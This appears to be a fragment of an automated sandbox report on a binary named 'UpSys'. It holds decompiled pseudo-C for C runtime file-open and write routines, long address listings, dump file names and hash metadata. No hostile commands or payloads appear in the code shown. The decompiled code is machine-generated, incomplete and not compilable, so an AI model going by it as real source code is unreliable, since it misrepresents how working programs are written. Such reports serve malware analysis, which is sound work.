				if (_t224 == 0) goto 0x400227e2;
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & 0x00000000;
				r8d = r14d;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x40022aa9;
				_t285 = 0 +  *((intOrPtr*)(_t462 + 0x48));
				if (r14d - _t285 > 0) goto 0x40022a64;
				goto 0x40022ab1;
				GetLastError();
				if (r14d - _t285 > 0) goto 0x40022782;
				r8d = 0xd;
				if (_t290 - r12d - r13d < 0) goto 0x400229d4;
				goto 0x40022782;
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & _t442;
				r8d = r13d;
				_t227 = WriteFile(??, ??, ??, ??, ??); // executed
				if (_t227 == 0) goto 0x40022afc;
				goto 0x4002278b;
				_t228 = GetLastError();
				goto 0x4002278b;
				E0000000114001EB24(_t228, _t227,  *(_t462 + 0x50), _t462 + 0x70);
				goto 0x40022493;
				_t386 =  *((intOrPtr*)(0x400c88c0 +  *(_t462 + 0x50) * 8));
				if (( *(_t491 + 0x1400c88c8) & 0x00000040) == 0) goto 0x40022b33;
				if ( *_t477 == 0x1a) goto 0x40022461;
				E0000000114001EAE4( *_t477 - 0x1a, _t386);
				 *0x400c88c0 = 0x1c;
				E0000000114001EB04( *_t477 - 0x1a, _t386);
				 *_t386 =  *_t386 & 0x00000000;
				goto 0x40022493;
				return E00000001140028D30(_t228, _t392,  *(_t462 + 0x1b20) ^ _t462, _t462 + 0x48);
			}


























































                                                                                                                                                                                                        0x14002241c
                                                                                                                                                                                                        0x14002241c
                                                                                                                                                                                                        0x14002241c
                                                                                                                                                                                                        0x14002241c
                                                                                                                                                                                                        0x14002241c
                                                                                                                                                                                                        0x14002241c
                                                                                                                                                                                                        0x140022431
                                                                                                                                                                                                        0x140022436
                                                                                                                                                                                                        0x140022439
                                                                                                                                                                                                        0x140022440
                                                                                                                                                                                                        0x140022443
                                                                                                                                                                                                        0x14002244f
                                                                                                                                                                                                        0x140022452
                                                                                                                                                                                                        0x140022455
                                                                                                                                                                                                        0x140022458
                                                                                                                                                                                                        0x14002245f
                                                                                                                                                                                                        0x140022463
                                                                                                                                                                                                        0x14002246b
                                                                                                                                                                                                        0x14002246d
                                                                                                                                                                                                        0x140022472
                                                                                                                                                                                                        0x140022474
                                                                                                                                                                                                        0x140022479
                                                                                                                                                                                                        0x14002247e
                                                                                                                                                                                                        0x140022481
                                                                                                                                                                                                        0x140022488
                                                                                                                                                                                                        0x14002248e
                                                                                                                                                                                                        0x140022496
                                                                                                                                                                                                        0x1400224a8
                                                                                                                                                                                                        0x1400224ac
                                                                                                                                                                                                        0x1400224b0
                                                                                                                                                                                                        0x1400224b4
                                                                                                                                                                                                        0x1400224b9
                                                                                                                                                                                                        0x1400224bd
                                                                                                                                                                                                        0x1400224c2
                                                                                                                                                                                                        0x1400224c5
                                                                                                                                                                                                        0x1400224cc
                                                                                                                                                                                                        0x1400224d2
                                                                                                                                                                                                        0x1400224db
                                                                                                                                                                                                        0x1400224e3
                                                                                                                                                                                                        0x1400224e9
                                                                                                                                                                                                        0x1400224e9
                                                                                                                                                                                                        0x1400224ed
                                                                                                                                                                                                        0x1400224fb
                                                                                                                                                                                                        0x140022508
                                                                                                                                                                                                        0x140022512
                                                                                                                                                                                                        0x140022518
                                                                                                                                                                                                        0x14002253d
                                                                                                                                                                                                        0x140022548
                                                                                                                                                                                                        0x140022550
                                                                                                                                                                                                        0x140022555
                                                                                                                                                                                                        0x14002255b
                                                                                                                                                                                                        0x140022561
                                                                                                                                                                                                        0x140022565
                                                                                                                                                                                                        0x140022568
                                                                                                                                                                                                        0x14002256f
                                                                                                                                                                                                        0x140022575
                                                                                                                                                                                                        0x140022582
                                                                                                                                                                                                        0x14002258d
                                                                                                                                                                                                        0x14002258f
                                                                                                                                                                                                        0x14002259c
                                                                                                                                                                                                        0x1400225a1
                                                                                                                                                                                                        0x1400225ab
                                                                                                                                                                                                        0x1400225b2
                                                                                                                                                                                                        0x1400225b6
                                                                                                                                                                                                        0x1400225bc
                                                                                                                                                                                                        0x1400225c0
                                                                                                                                                                                                        0x1400225cb
                                                                                                                                                                                                        0x1400225d7
                                                                                                                                                                                                        0x1400225e6
                                                                                                                                                                                                        0x1400225f1
                                                                                                                                                                                                        0x140022602
                                                                                                                                                                                                        0x140022608
                                                                                                                                                                                                        0x14002260b
                                                                                                                                                                                                        0x14002260d
                                                                                                                                                                                                        0x140022623
                                                                                                                                                                                                        0x140022629
                                                                                                                                                                                                        0x14002262f
                                                                                                                                                                                                        0x140022643
                                                                                                                                                                                                        0x14002264b
                                                                                                                                                                                                        0x140022653
                                                                                                                                                                                                        0x140022656
                                                                                                                                                                                                        0x14002265b
                                                                                                                                                                                                        0x140022661
                                                                                                                                                                                                        0x140022665
                                                                                                                                                                                                        0x140022670
                                                                                                                                                                                                        0x14002268f
                                                                                                                                                                                                        0x14002269a
                                                                                                                                                                                                        0x1400226ad
                                                                                                                                                                                                        0x1400226bb
                                                                                                                                                                                                        0x1400226c1
                                                                                                                                                                                                        0x1400226c6
                                                                                                                                                                                                        0x1400226cc
                                                                                                                                                                                                        0x1400226dd
                                                                                                                                                                                                        0x1400226f6
                                                                                                                                                                                                        0x140022701
                                                                                                                                                                                                        0x140022703
                                                                                                                                                                                                        0x140022709
                                                                                                                                                                                                        0x14002270f
                                                                                                                                                                                                        0x140022715
                                                                                                                                                                                                        0x140022717
                                                                                                                                                                                                        0x14002271a
                                                                                                                                                                                                        0x140022721
                                                                                                                                                                                                        0x140022726
                                                                                                                                                                                                        0x14002272a
                                                                                                                                                                                                        0x140022732
                                                                                                                                                                                                        0x140022738
                                                                                                                                                                                                        0x140022749
                                                                                                                                                                                                        0x140022755
                                                                                                                                                                                                        0x140022759
                                                                                                                                                                                                        0x140022768
                                                                                                                                                                                                        0x14002276c
                                                                                                                                                                                                        0x140022778
                                                                                                                                                                                                        0x14002277e
                                                                                                                                                                                                        0x140022787
                                                                                                                                                                                                        0x14002278d
                                                                                                                                                                                                        0x140022795
                                                                                                                                                                                                        0x14002279e
                                                                                                                                                                                                        0x1400227a4
                                                                                                                                                                                                        0x1400227a9
                                                                                                                                                                                                        0x1400227af
                                                                                                                                                                                                        0x1400227b4
                                                                                                                                                                                                        0x1400227b6
                                                                                                                                                                                                        0x1400227bd
                                                                                                                                                                                                        0x1400227c9
                                                                                                                                                                                                        0x1400227d3
                                                                                                                                                                                                        0x1400227e0
                                                                                                                                                                                                        0x1400227e2
                                                                                                                                                                                                        0x1400227ea
                                                                                                                                                                                                        0x1400227f0
                                                                                                                                                                                                        0x1400227f9
                                                                                                                                                                                                        0x140022803
                                                                                                                                                                                                        0x14002280b
                                                                                                                                                                                                        0x140022811
                                                                                                                                                                                                        0x14002281a
                                                                                                                                                                                                        0x140022820
                                                                                                                                                                                                        0x140022823
                                                                                                                                                                                                        0x140022828
                                                                                                                                                                                                        0x14002283a
                                                                                                                                                                                                        0x14002283c
                                                                                                                                                                                                        0x14002283f
                                                                                                                                                                                                        0x140022844
                                                                                                                                                                                                        0x140022846
                                                                                                                                                                                                        0x140022848
                                                                                                                                                                                                        0x14002284b
                                                                                                                                                                                                        0x140022854
                                                                                                                                                                                                        0x140022860
                                                                                                                                                                                                        0x140022862
                                                                                                                                                                                                        0x14002286f
                                                                                                                                                                                                        0x140022872
                                                                                                                                                                                                        0x14002287c
                                                                                                                                                                                                        0x1400228a3
                                                                                                                                                                                                        0x1400228bc
                                                                                                                                                                                                        0x1400228cf
                                                                                                                                                                                                        0x1400228d5
                                                                                                                                                                                                        0x1400228da
                                                                                                                                                                                                        0x1400228e2
                                                                                                                                                                                                        0x1400228eb
                                                                                                                                                                                                        0x1400228f4
                                                                                                                                                                                                        0x1400228ff
                                                                                                                                                                                                        0x140022904
                                                                                                                                                                                                        0x140022916
                                                                                                                                                                                                        0x140022918
                                                                                                                                                                                                        0x140022924
                                                                                                                                                                                                        0x140022926
                                                                                                                                                                                                        0x140022929
                                                                                                                                                                                                        0x14002292d
                                                                                                                                                                                                        0x140022939
                                                                                                                                                                                                        0x140022947
                                                                                                                                                                                                        0x140022949
                                                                                                                                                                                                        0x140022956
                                                                                                                                                                                                        0x140022959
                                                                                                                                                                                                        0x140022963
                                                                                                                                                                                                        0x14002298a
                                                                                                                                                                                                        0x1400229a7
                                                                                                                                                                                                        0x1400229ba
                                                                                                                                                                                                        0x1400229c0
                                                                                                                                                                                                        0x1400229c8
                                                                                                                                                                                                        0x1400229ce
                                                                                                                                                                                                        0x1400229d4
                                                                                                                                                                                                        0x1400229e3
                                                                                                                                                                                                        0x1400229e5
                                                                                                                                                                                                        0x1400229f1
                                                                                                                                                                                                        0x1400229f3
                                                                                                                                                                                                        0x140022a03
                                                                                                                                                                                                        0x140022a11
                                                                                                                                                                                                        0x140022a13
                                                                                                                                                                                                        0x140022a19
                                                                                                                                                                                                        0x140022a2b
                                                                                                                                                                                                        0x140022a3a
                                                                                                                                                                                                        0x140022a41
                                                                                                                                                                                                        0x140022a4c
                                                                                                                                                                                                        0x140022a51
                                                                                                                                                                                                        0x140022a57
                                                                                                                                                                                                        0x140022a5c
                                                                                                                                                                                                        0x140022a69
                                                                                                                                                                                                        0x140022a7a
                                                                                                                                                                                                        0x140022a8d
                                                                                                                                                                                                        0x140022a9c
                                                                                                                                                                                                        0x140022a9e
                                                                                                                                                                                                        0x140022aa5
                                                                                                                                                                                                        0x140022aa7
                                                                                                                                                                                                        0x140022aa9
                                                                                                                                                                                                        0x140022ab4
                                                                                                                                                                                                        0x140022abc
                                                                                                                                                                                                        0x140022ac8
                                                                                                                                                                                                        0x140022ace
                                                                                                                                                                                                        0x140022ad7
                                                                                                                                                                                                        0x140022ae1
                                                                                                                                                                                                        0x140022ae7
                                                                                                                                                                                                        0x140022aef
                                                                                                                                                                                                        0x140022af7
                                                                                                                                                                                                        0x140022afc
                                                                                                                                                                                                        0x140022b04
                                                                                                                                                                                                        0x140022b0b
                                                                                                                                                                                                        0x140022b10
                                                                                                                                                                                                        0x140022b1c
                                                                                                                                                                                                        0x140022b26
                                                                                                                                                                                                        0x140022b2d
                                                                                                                                                                                                        0x140022b33
                                                                                                                                                                                                        0x140022b38
                                                                                                                                                                                                        0x140022b3e
                                                                                                                                                                                                        0x140022b43
                                                                                                                                                                                                        0x140022b46
                                                                                                                                                                                                        0x140022b79

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID: U
                                                                                                                                                                                                        • API String ID: 921712934-4171548499
                                                                                                                                                                                                        • Opcode ID: e3f5e56f98e714852cbc5af4dc40e8b82550afba72b277d5ce9564f99307f555
                                                                                                                                                                                                        • Instruction ID: 9027733363c8b498f3cdac297bc783a2128c760ac815851859eb011c26a73db9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e3f5e56f98e714852cbc5af4dc40e8b82550afba72b277d5ce9564f99307f555
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B912043220864196EB229FA6D4443EAB7A0F79C7C4F54451AFF8A47AB9DF3DC845CB10
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002CD9C Relevance: 36.5, APIs: 24, Instructions: 546fileCOMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 64%
                                                                                                                                                                                                        			E0000000114002CD9C(void* __ecx, void* __edx, signed int __rbx, signed int __rcx, signed int* __rdx, signed int __r8, void* __r9, void* __r11, signed int* _a8, void* _a16, void* _a24, signed int _a32, intOrPtr _a40, void* _a48) {
				intOrPtr _v72;
				void* _v88;
				signed int* _v96;
				signed int _v100;
				signed short _v104;
				signed int _v108;
				signed char _v112;
				signed int _v116;
				signed int _v120;
				signed int _v136;
				signed int _v144;
				signed int _v152;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				signed int _t172;
				signed int _t177;
				long _t190;
				long _t191;
				void* _t194;
				signed short _t198;
				void* _t200;
				signed int _t207;
				signed int _t211;
				void* _t213;
				void* _t214;
				void* _t217;
				void* _t222;
				signed int _t241;
				signed short _t307;
				signed int _t309;
				unsigned int _t310;
				intOrPtr _t311;
				signed int _t315;
				signed short _t316;
				void* _t319;
				signed int _t322;
				signed int _t325;
				void* _t334;
				signed int _t336;
				void* _t347;
				signed int _t357;
				void* _t374;
				signed int* _t399;
				signed int* _t400;
				signed short* _t403;
				intOrPtr* _t406;
				signed int* _t412;
				intOrPtr _t416;
				intOrPtr _t421;
				long long _t424;
				signed int* _t426;
				signed long long _t432;
				signed long long _t435;
				signed long long _t440;
				signed long long _t442;
				signed long long _t443;
				intOrPtr _t444;
				signed long long _t445;
				signed long long _t458;
				signed long long _t459;
				signed int _t462;
				void* _t464;
				void* _t466;
				signed int* _t468;
				void* _t472;
				void* _t476;
				signed long long _t477;
				void* _t479;
				void* _t481;
				void* _t486;
				void* _t488;

				_t476 = __r11;
				_t472 = __r9;
				_t471 = __r8;
				_t452 = __rdx;
				_t399 = _t468;
				_t399[4] = __rbx;
				_t399[6] = __r8;
				_t399[2] = __rcx;
				r12b = 0x80;
				_t309 = r9d;
				_t426 = __rdx;
				 *(_t399 - 0x58) = 0x18;
				_t5 = _t462 + 1; // 0x1
				_t311 = _t5;
				 *((intOrPtr*)(_t399 - 0x64)) = 0;
				_a32 = dil;
				 *(_t399 - 0x50) = _t462;
				if ((r12b & r9b) == 0) goto 0x4002cdee;
				 *((intOrPtr*)(_t399 - 0x48)) = 0;
				r14b = 0x10;
				goto 0x4002cdf5;
				_v72 = _t311;
				r14b = dil;
				_t319 = E00000001140018978(_t399,  &_v100);
				if (_t319 == 0) goto 0x4002ce17;
				r9d = 0;
				r8d = 0;
				_v152 = _t462;
				E0000000114001E8EC(0, __rdx, __r8);
				asm("bt esi, 0xf");
				if (_t319 < 0) goto 0x4002ce32;
				if ((_t309 & 0x00074000) != 0) goto 0x4002ce2f;
				if (_v100 == 0x8000) goto 0x4002ce32;
				r14b = r14b | r12b;
				r8d = 3;
				_t241 = _t309 & r8d;
				_t322 = _t241;
				if (_t322 == 0) goto 0x4002ce9f;
				if (_t322 == 0) goto 0x4002ce89;
				if (_t241 - _t311 == _t311) goto 0x4002ce84;
				E0000000114001EB04(_t241 - _t311 - _t311, _t399);
				 *_t399 = 0;
				 *_t426 =  *_t426 | 0xffffffff;
				E0000000114001EAE4(_t241 - _t311 - _t311, _t399);
				r9d = 0;
				r8d = 0;
				_v152 = _t462;
				 *_t399 = 0x16;
				E0000000114001EA14(_t399, _t426,  &_v100, _t452, _t464, _t466, _t471, _t488, _t486);
				goto 0x4002d580;
				r15d = 0x16;
				goto 0x4002cea2;
				if ((sil & 0x00000008) == 0) goto 0x4002ce97;
				_t325 = _t309 & 0x00070000;
				if (_t325 != 0) goto 0x4002ce84;
				r15d = 0x40000000;
				goto 0x4002cea2;
				r15d = 0;
				r12d = 2;
				if (_t325 == 0) goto 0x4002cee0;
				if (_t325 == 0) goto 0x4002cedc;
				if (_t325 == 0) goto 0x4002ced7;
				if (_t325 == 0) goto 0x4002ced2;
				if (_a40 - 0xffffffffffffffe0 != 0x40) goto 0x4002ce53;
				goto 0x4002cee2;
				goto 0x4002cee2;
				goto 0x4002cee2;
				goto 0x4002cee2;
				_v116 = 0;
				_t172 = _t309 & 0x00000700;
				if (r15d == 0) goto 0x4002cf37;
				if (_t172 == 0x100) goto 0x4002cf30;
				if (_t172 == 0x200) goto 0x4002cf29;
				if (_t172 == 0x300) goto 0x4002cf24;
				if (_t172 == 0x400) goto 0x4002cf37;
				if (_t172 == 0x500) goto 0x4002cf3a;
				if (_t172 == 0x600) goto 0x4002cf29;
				_t334 = _t172 - 0x700;
				if (_t334 == 0) goto 0x4002cf3a;
				goto 0x4002ce53;
				goto 0x4002cf3a;
				goto 0x4002cf3a;
				goto 0x4002cf3a;
				_t315 = r8d;
				asm("bt esi, 0x8");
				r13d = 0x80;
				_v108 = r13d;
				if (_t334 >= 0) goto 0x4002cf69;
				r13d =  ==  ? _t481 - 0x7f : r13d;
				_v108 = r13d;
				_t336 = sil & 0x00000040;
				if (_t336 == 0) goto 0x4002cf85;
				asm("inc ecx");
				asm("inc ecx");
				_v108 = r13d;
				_v116 = 4;
				asm("bt esi, 0xc");
				if (_t336 >= 0) goto 0x4002cf95;
				asm("inc ecx");
				_v108 = r13d;
				if ((sil & 0x00000020) == 0) goto 0x4002cfa2;
				asm("inc ecx");
				goto 0x4002cfad;
				if ((sil & 0x00000010) == 0) goto 0x4002cfb2;
				asm("inc ecx");
				_v108 = r13d;
				_t177 = E00000001140022200(0x16, 0x700, _t315, sil & 0x00000010, _t399, _t426,  &_v100, _t452, _t462, _t464, _t466, _t471, _t472, _t479);
				 *_t426 = _t177;
				if (_t177 != 0xffffffff) goto 0x4002cfdf;
				E0000000114001EB04(_t177 - 0xffffffff, _t399);
				 *_t399 = 0;
				 *_t426 =  *_t426 | 0xffffffff;
				E0000000114001EAE4(_t177 - 0xffffffff, _t399);
				 *_t399 = 0x18;
				E0000000114001EAE4(_t177 - 0xffffffff, _t399);
				goto 0x4002d580;
				_t400 = _a8;
				r8d = _v116;
				_v136 = _t462;
				_v144 = r13d;
				 *_t400 = 1;
				_v152 = _t315;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_v96 = _t400;
				if (_t400 != 0xffffffff) goto 0x4002d0b1;
				if ((r15d & 0xc0000000) != 0xc0000000) goto 0x4002d076;
				if ((0x00000001 & sil) == 0) goto 0x4002d076;
				r8d = _v116;
				_v136 = _t462;
				asm("inc ecx");
				_v144 = r13d;
				_v152 = _t315;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				_v96 = _t400;
				if (_t400 != 0xffffffff) goto 0x4002d0b1;
				_t432 =  *_t426;
				_t403 =  *((intOrPtr*)(0x400c88c0 + (_t432 >> 5) * 8));
				 *(_t403 + 8 + _t432 * 0x58) =  *(_t403 + 8 + _t432 * 0x58) & 0x000000fe;
				E0000000114001EB24(GetLastError(), _t400 - 0xffffffff, _t403, _t471);
				E0000000114001EAE4(_t400 - 0xffffffff, _t403);
				_t307 =  *_t403;
				goto 0x4002d57e;
				_t190 = GetFileType(_t481); // executed
				if (_t190 != _t307) goto 0x4002d10b;
				_t435 =  *_t426;
				_t406 =  *((intOrPtr*)(0x400c88c0 + (_t435 >> 5) * 8));
				 *(_t406 + 8 + _t435 * 0x58) =  *(_t406 + 8 + _t435 * 0x58) & 0x000000fe;
				_t191 = GetLastError();
				E0000000114001EB24(_t191, _t190 - _t307, _t406, _t471);
				CloseHandle(_t479);
				if (_t191 != _t307) goto 0x4002d0a5;
				_t194 = E0000000114001EAE4(_t191 - _t307, _t406);
				 *_t406 = 0xd;
				goto 0x4002d0a5;
				if (_t194 != r12d) goto 0x4002d116;
				r14b = r14b | 0x00000040;
				goto 0x4002d11f;
				_t347 = _t194 - 3;
				if (_t347 != 0) goto 0x4002d11f;
				r14b = r14b | 0x00000008;
				E00000001140021F50( *_t426, _t307, _t426, _v96, _t464, _t466);
				r14b = r14b | 0x00000001;
				 *( *((intOrPtr*)(0x400c88c0 + ( *_t426 >> 5) * 8)) + 8 +  *_t426 * 0x58) = r14b;
				_t440 =  *_t426;
				_t412 =  *((intOrPtr*)(0x400c88c0 + (_t440 >> 5) * 8));
				 *(_t412 + 0x38 + _t440 * 0x58) =  *(_t412 + 0x38 + _t440 * 0x58) & 0x00000080;
				_v112 = r14b & 0x00000048;
				if (_t347 != 0) goto 0x4002d206;
				if (r14b >= 0) goto 0x4002d44b;
				if ((r12b & sil) == 0) goto 0x4002d206;
				r8d = r12d;
				_t198 = E00000001140025488(_t191,  *_t426, 0xffffffff, r12b & sil, _t412, _t426, _t464, _t466, _t471, _t462);
				_v120 = _t198;
				if (_t198 != 0xffffffff) goto 0x4002d1bc;
				E0000000114001EB04(_t198 - 0xffffffff, _t412);
				if ( *_t412 == 0x83) goto 0x4002d201;
				_t200 = E00000001140024794( *_t426, 0xffffffff, _t307,  *_t412 - 0x83, _t412, _t426, _t464, _t466, _t471);
				goto 0x4002d0a5;
				r8d = 1;
				_v104 = _t307;
				if (E00000001140024AFC(_t200,  *_t426, _t309,  &_v104, _t471) != _t307) goto 0x4002d1f0;
				if (_v104 != 0x1a) goto 0x4002d1f0;
				if (E0000000114002E880(_t191,  *_t426, _v104 - 0x1a, _t426, _v120, _t462, _t464, _t466, _t471, _t464, _t466) == 0xffffffff) goto 0x4002d1b0;
				r8d = 0;
				if (E00000001140025488(_t191,  *_t426, 0, E0000000114002E880(_t191,  *_t426, _v104 - 0x1a, _t426, _v120, _t462, _t464, _t466, _t471, _t464, _t466) - 0xffffffff, _t412, _t426, _t464, _t466, _t471) == 0xffffffff) goto 0x4002d1b0;
				if (r14b >= 0) goto 0x4002d44b;
				_t357 = 0x00074000 & _t309;
				if (_t357 != 0) goto 0x4002d228;
				if (_t357 != 0) goto 0x4002d226;
				asm("bts esi, 0xe");
				goto 0x4002d228;
				_t310 = _t309 | _v100 & 0x00074000;
				_t207 = _t310 & 0x00074000;
				if (_t207 == 0x4000) goto 0x4002d27d;
				if (_t207 == 0x10000) goto 0x4002d266;
				if (_t207 == 0x14000) goto 0x4002d266;
				if (_t207 == 0x20000) goto 0x4002d273;
				if (_t207 == 0x24000) goto 0x4002d273;
				if (_t207 == 0x40000) goto 0x4002d25d;
				if (_t207 != 0x44000) goto 0x4002d285;
				_a32 = 1;
				goto 0x4002d285;
				if ((_t310 & 0x00000301) != 0x301) goto 0x4002d285;
				_a32 = r12b;
				goto 0x4002d285;
				_a32 = dil;
				if ((_t310 & 0x00070000) == 0) goto 0x4002d44b;
				_v120 = _t307;
				if ((r14b & 0x00000040) != 0) goto 0x4002d44b;
				_t211 = r15d & 0xc0000000;
				if (_t211 == 0x40000000) goto 0x4002d3d6;
				if (_t211 == 0x80000000) goto 0x4002d335;
				if (_t211 != 0xc0000000) goto 0x4002d44b;
				if (_t315 - _t307 <= 0) goto 0x4002d44b;
				if (_t315 - r12d <= 0) goto 0x4002d2df;
				if (_t315 - 4 <= 0) goto 0x4002d30e;
				_t374 = _t315 - 5;
				if (_t374 != 0) goto 0x4002d44b;
				r8d = 1;
				_t316 = _t307;
				if (_t374 == 0) goto 0x4002d418;
				if (_a32 - r8d != r8d) goto 0x4002d451;
				_v120 = 0xfeff;
				goto 0x4002d426;
				r8d = r12d;
				E0000000114002A580(_t191,  *_t426, 0, _a32 - r8d - r8d, _t412, _t426, _v120, _t464, _t466, _t471);
				if (_t412 == _t462) goto 0x4002d2df;
				r8d = 0;
				_t213 = E0000000114002A580(_t191,  *_t426, 0, _t412 - _t462, _t412, _t426, _v120, _t464, _t466, _t471);
				if (_t412 == 0xffffffff) goto 0x4002d1b0;
				_t105 =  &_v120; // 0x42
				r8d = 3;
				_t214 = E00000001140024AFC(_t213,  *_t426, _t310, _t105, _t471);
				if (_t214 == 0xffffffff) goto 0x4002d1b0;
				if (_t214 == r12d) goto 0x4002d375;
				if (_t214 != 3) goto 0x4002d3c5;
				if (_v120 != 0xbfbbef) goto 0x4002d375;
				_t107 = _t412 - 2; // -2
				r8d = _t107;
				_a32 = r8b;
				goto 0x4002d451;
				if ((_v120 & 0x0000ffff) != 0xfffe) goto 0x4002d39b;
				E00000001140024794( *_t426, 0, _t307, (_v120 & 0x0000ffff) - 0xfffe, _t412, _t426, _t464, _t466, _t471);
				_t217 = E0000000114001EAE4((_v120 & 0x0000ffff) - 0xfffe, _t412);
				 *_t412 = 0x16;
				goto 0x4002d57e;
				if (_t217 != 0xfeff) goto 0x4002d3c5;
				r8d = 0;
				if (E00000001140025488(0x16,  *_t426, r12d, _t217 - 0xfeff, _t412, _t426, _t464, _t466, _t471) == 0xffffffff) goto 0x4002d1b0;
				_a32 = r12b;
				goto 0x4002d44b;
				r8d = 0;
				E00000001140025488(0x16,  *_t426, 0, E00000001140025488(0x16,  *_t426, r12d, _t217 - 0xfeff, _t412, _t426, _t464, _t466, _t471) - 0xffffffff, _t412, _t426, _t464, _t466, _t471);
				goto 0x4002d411;
				if (_t316 - 0x16 <= 0) goto 0x4002d44b;
				if (_t316 - r12d <= 0) goto 0x4002d2df;
				if (_t316 - 4 > 0) goto 0x4002d2d6;
				r8d = r12d;
				E0000000114002A580(0x16,  *_t426, 0, _t316 - 4, _t412, _t426, _t105, _t464, _t466, _t471);
				if (_t412 == _t462) goto 0x4002d2df;
				r8d = 0;
				E0000000114002A580(0x16,  *_t426, 0, _t412 - _t462, _t412, _t426, _t105, _t464, _t466, _t471);
				if (_t412 != 0xffffffff) goto 0x4002d44b;
				goto 0x4002d1b0;
				_v120 = 0xbfbbef;
				r12d = 3;
				r8d = r12d;
				r8d = r8d - _t316;
				_t222 = E00000001140022B7C(0x16,  *_t426, _t310, _t316, _t426, _t440 * 0x58, _t468 - 0x80 + _t316 + 0x40, _t464, _t466, _t471, _t476);
				if (_t222 == 0xffffffff) goto 0x4002d1b0;
				if (r12d - _t316 + _t222 > 0) goto 0x4002d426;
				r8d = 1;
				_t442 =  *_t426;
				bpl = _a32;
				bpl = bpl & 0x0000007f;
				_t443 = _t442 * 0x58;
				_t416 =  *((intOrPtr*)(0x400c88c0 + (_t442 >> 5) * 8));
				 *(_t416 + _t443 + 0x38) =  *(_t416 + _t443 + 0x38) & 0x00000080;
				 *(_t416 + _t443 + 0x38) =  *(_t416 + _t443 + 0x38) | bpl;
				_t458 =  *_t426;
				_t459 = _t458 * 0x58;
				_t444 =  *((intOrPtr*)(0x400c88c0 + (_t458 >> 5) * 8));
				 *(_t444 + _t459 + 0x38) =  *(_t444 + _t459 + 0x38) & 0x0000007f;
				 *(_t444 + _t459 + 0x38) =  *(_t444 + _t459 + 0x38) | _t310 >> 0x00000010 << 0x00000007;
				if (_v112 != dil) goto 0x4002d4cc;
				if ((sil & 0x00000008) == 0) goto 0x4002d4cc;
				_t445 =  *_t426;
				_t421 =  *((intOrPtr*)(0x400c88c0 + (_t445 >> 5) * 8));
				 *(_t421 + 8 + _t445 * 0x58) =  *(_t421 + 8 + _t445 * 0x58) | 0x00000020;
				if ((r15d & 0xc0000000) != 0xc0000000) goto 0x4002d57e;
				if ((r8b & sil) == 0) goto 0x4002d57e;
				CloseHandle(??);
				r8d = _v116;
				_v136 = _t462;
				_v144 = _v108;
				asm("inc ecx");
				_v152 = 3;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t421 != 0xffffffff) goto 0x4002d564;
				E0000000114001EB24(GetLastError(), _t421 - 0xffffffff, _t421, _t471);
				_t477 =  *_t426;
				r11d = r11d & 0x0000001f;
				_t424 =  *((intOrPtr*)(0x400c88c0 + (_t477 >> 5) * 8));
				 *(_t424 + 8 + _t477 * 0x58) =  *(_t424 + 8 + _t477 * 0x58) & 0x000000fe;
				E00000001140022000(0x16,  *_t426, _t426, _t466);
				goto 0x4002d0a5;
				 *((long long*)( *_t426 * 0x58 +  *((intOrPtr*)(0x400c88c0 + ( *_t426 >> 5) * 8)))) = _t424;
				return 0x16;
			}












































































                                                                                                                                                                                                        0x14002cd9c
                                                                                                                                                                                                        0x14002cd9c
                                                                                                                                                                                                        0x14002cd9c
                                                                                                                                                                                                        0x14002cd9c
                                                                                                                                                                                                        0x14002cd9c
                                                                                                                                                                                                        0x14002cd9f
                                                                                                                                                                                                        0x14002cda3
                                                                                                                                                                                                        0x14002cda7
                                                                                                                                                                                                        0x14002cdbf
                                                                                                                                                                                                        0x14002cdc2
                                                                                                                                                                                                        0x14002cdc5
                                                                                                                                                                                                        0x14002cdc8
                                                                                                                                                                                                        0x14002cdcf
                                                                                                                                                                                                        0x14002cdcf
                                                                                                                                                                                                        0x14002cdd2
                                                                                                                                                                                                        0x14002cdd5
                                                                                                                                                                                                        0x14002cddd
                                                                                                                                                                                                        0x14002cde4
                                                                                                                                                                                                        0x14002cde6
                                                                                                                                                                                                        0x14002cde9
                                                                                                                                                                                                        0x14002cdec
                                                                                                                                                                                                        0x14002cdee
                                                                                                                                                                                                        0x14002cdf2
                                                                                                                                                                                                        0x14002cdff
                                                                                                                                                                                                        0x14002ce01
                                                                                                                                                                                                        0x14002ce03
                                                                                                                                                                                                        0x14002ce06
